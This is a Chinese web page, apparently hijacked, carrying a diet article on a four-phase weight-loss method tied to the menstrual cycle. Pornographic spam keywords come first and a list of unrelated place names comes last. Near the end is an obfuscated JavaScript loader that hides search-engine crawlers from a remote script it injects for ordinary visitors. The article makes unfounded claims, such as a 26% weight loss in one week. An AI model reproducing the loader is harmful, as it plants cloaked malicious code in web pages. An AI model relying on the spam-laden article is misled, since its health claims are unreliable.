亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 減肥方法 > 正文

經(jīng)期減肥法的真相是什么

2017-04-26 16:58:31  來源:360常識網(wǎng)   熱度:
導語:減肥可以說是女性最為關心的問題,為了減肥很多女性甚至會采取節(jié)食的方法,也是蠻拼的。減肥的方法有很多,其中飽受爭議的可以說是經(jīng)期減肥

減肥可以說是女性最為關心的問題,為了減肥很多女性甚至會采取節(jié)食的方法,也是蠻拼的。減肥的方法有很多,其中飽受爭議的可以說是經(jīng)期減肥法了,很多女性質(zhì)疑其成效。那么,經(jīng)期減肥法的真相是什么?下面咱們就來詳細看看經(jīng)期減肥法的情況。

生理四期減肥法,據(jù)說這種減肥法的發(fā)明者是澳大利亞的一位知名教授。具體的方法是:運用生理周期將瘦身分成四期:

1、月經(jīng)來的1-7天稱為瘦身福利期而且體重是全月最重時,此時的體重一般比平時多2-3斤。趁著身體比較虛弱,多吃一些含鐵的食物,如牛肉,高熱量的熱可可、巧克力等。一個月只有這一周可以吃這些高熱量的東西。

2、月經(jīng)后1-7天,此階段瘦身超速期,極易發(fā)胖,吃下去的熱量如果不能迅速分解,就會轉(zhuǎn)化成脂肪積留體內(nèi),因此要盡量減少對高熱量、高脂肪食物的攝取。飲食少糖、少淀粉,配合適量運動,即可減少26%的重量。跑步、游泳、騎自行車最易消耗熱量,是最佳減肥運動。

3、月經(jīng)后7-14天瘦身平快期,仍是減肥的有利時期,雖然效果可能不如上個階段明顯,但仍可獲得不錯的瘦身業(yè)績。多吃高纖維食物,如蔬菜、水果、全谷類、全麥面、糙米、燕麥等食物。攝入足夠的高纖維食物,可促進激素排出,增加血液中鎂的含量。

4、月經(jīng)后14-21天瘦身緩慢期,此階段是減肥慢行期。月經(jīng)來潮前一周的飲食宜清淡,多吃綠葉蔬菜和水果,易消化,富營養(yǎng);多飲水,保持排泄通暢,減少骨盆充血。同時多吃肉類、蛋、豆腐、黃豆等高蛋白食物,以補充經(jīng)期所流失的營養(yǎng)素、礦物質(zhì)。

上面就是對經(jīng)期減肥法的真相的介紹,希望對女性的認識有幫助。減肥的方法有很多,無論是采用什么樣的方法進行減肥,關鍵是要了解其原理,畢竟不光是要取得好的減肥效果,關鍵還要保證自己的健康,最好是不要發(fā)生反彈,這樣才能徹底的解決減肥的情況。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
肃北| 汶上县| 砀山县| 扬中市| 防城港市| 德江县| 辽源市| 方山县| 烟台市| 海淀区| 博客| 时尚| 泗阳县| 庆安县| 赣州市| 永春县| 平果县| 浦城县| 防城港市| 巨鹿县| 乾安县| 蓝山县| 平阳县| 枣庄市| 太和县| 威海市| 慈溪市| 正定县| 龙口市| 左云县| 迁西县| 泾源县| 潞西市| 旬阳县| 雷州市| 尚义县| 福海县| 昔阳县| 雅安市| 梁山县| 星子县|